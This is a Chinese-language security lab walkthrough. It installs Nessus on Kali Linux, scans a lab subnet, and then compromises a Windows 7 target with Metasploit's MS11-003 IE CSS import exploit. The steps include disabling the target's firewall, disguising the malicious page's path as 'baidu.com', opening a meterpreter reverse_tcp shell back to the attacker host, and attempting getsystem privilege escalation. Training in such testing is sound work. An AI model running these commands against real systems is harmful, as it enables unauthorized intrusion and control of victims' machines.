实验目的
通过该实验熟悉Nessus漏洞扫描工具的安装和主机漏洞扫描的方法,学会利用Nessus扫描结果筛选合适的Metasploit攻击模块进行安全测试、攻击。
实验步骤一
初步了解实验环境及Nessus安装(实验步骤一操作已全部完成,实验环境内的操作从实验步骤二开始)
1.查看win7漏洞主机的登录用户及网络配置信息,从下图2可以看出漏洞主机IP为10.1.1.129。使用命令如下:
ipconfig 查看网络配置信息
图2 查询漏洞主机信息
2.为了更好的演示攻击win7系统实例需要关闭win7系统的防火墙,win+R输入cmd,运行“netsh firewall set opmode mode=disable”命令
图3 关闭目标主机防火墙
3.查看攻击者主机登陆用户及网络配置信息,从下图3可以看出攻击主机登陆用户为root ,IP为10.1.1.128
whoami 查看当前登陆用户
ifconfig 查看网络配置信息
图4 查询攻击主机信息
4.在Nessus官网下载页面选择适合Kali linux的安装程序。经实验证明多个版本的都可以在kali linux上安装成功,这里选择“Debian 6,7,8,9/Kali Linux 1,2017.3 AMD64”版本程序。下载之后,拷贝到Kali linux主机上,运行下列命令进行安装:
dpkg -i Nessus-8.9.1-debian6_amd64.deb 安装Debian安装包
实验步骤二
利用Nessus扫描目标主机
执行命令 /etc/init.d/nessusd start 启动Nessus服务
访问Nessus控制端https://127.0.0.1:8834/。输入安装时设置的账号信息(密码在桌面nessus文件夹内)。
图10 登陆Nessus
新建一个扫描,依次选择“New Scan”-“Basic Network Scan”,如下图所示。
图11 新建Nessus扫描
配置扫描信息,主要设置扫描名称、描述和扫描目标三个信息即可,其他配置选择默认,配置完成点击Save。选择对整个10.1.1.0/24网段进行扫描,如下图所示。
图12 配置Nessus扫描
扫描结束后,Nessus会很直观的显示出目标网段的安全情况。下图显示了整个网段的安全信息。Nessus将安全问题归类为Info/Low/Medium/High/Critical五个等级,其中Critical等级的问题是最危险的,Info级别的问题通常是无关痛痒的信息显示问题。
图13 Nessus扫描网段结果
重点关注10.1.1.129主机,即win7靶机,Nessus扫描出该主机存在四个最高危漏洞、2个高危漏洞及其它漏洞问题。
图14 10.1.1.129主机漏洞概况
选中高危漏洞,Nessus给出了该漏洞的介绍、风险信息、解决方案等详细信息。Risk information对于攻击者来说非常有用,可以根据Risk information去Google搜索是否存在已知的漏洞利用Exp。
图15 MS11-030漏洞详情
实验步骤三
利用MS11_003 IE漏洞攻击win7主机
步骤二中扫描得到win7主机系统存在MS11_030解析漏洞,但是该漏洞利用条件较为苛刻,因此选择MS11_003 IE CSS Import漏洞来演示如何通过诱骗攻击者点击我们精心构造的含有攻击代码的网页来实现系统入侵。
1.在kali中执行“msfconsole”,启动metasploit
2.运行命令:“use exploit/windows/browser/ms11_003_ie_css_import”选择漏洞利用EXP
3.运行命令:show options,查看配置选项
4.设置生成的恶意网页的URI为baidu.com
运行命令:set URIPATH baidu.com
5.为防止服务器端口冲突,设置服务器端口为8060,避开常用端口8080
运行命令:set SRVPORT 8060
6.设置攻击负载
运行命令:set PAYLOAD windows/meterpreter/reverse_tcp
7.查看配置选项
运行命令: show options
8.设置LHOST以绑定本地IP
set LHOST 10.1.1.128
9.为避免冲突设置LPORT
运行命令:set LPORT 8866
10.运行命令“exploit”开始进行攻击,生成恶意网页和做好其他准备,只等受害者访问我们构造的恶意网页
11.在 Win7靶机打开IE,访问http://10.1.1.128:8060/baidu.com,模拟受害者误点击网页,靶机IE如下图所示,攻击者Metasploit显示如下图所示信息表明攻击成功。
12.验证攻击是否成功。列出当前成功建立的回话,任意进入一个回话,查看攻击者的身份。可以尝试使用getsystem进行进一步的提权,如果提权失败则可以采取上传提权exe程序进行提权的方案获得最高权限。
sessions 列出所有会话
sessions -i 1 进入1号会话
getuid 查看当前用户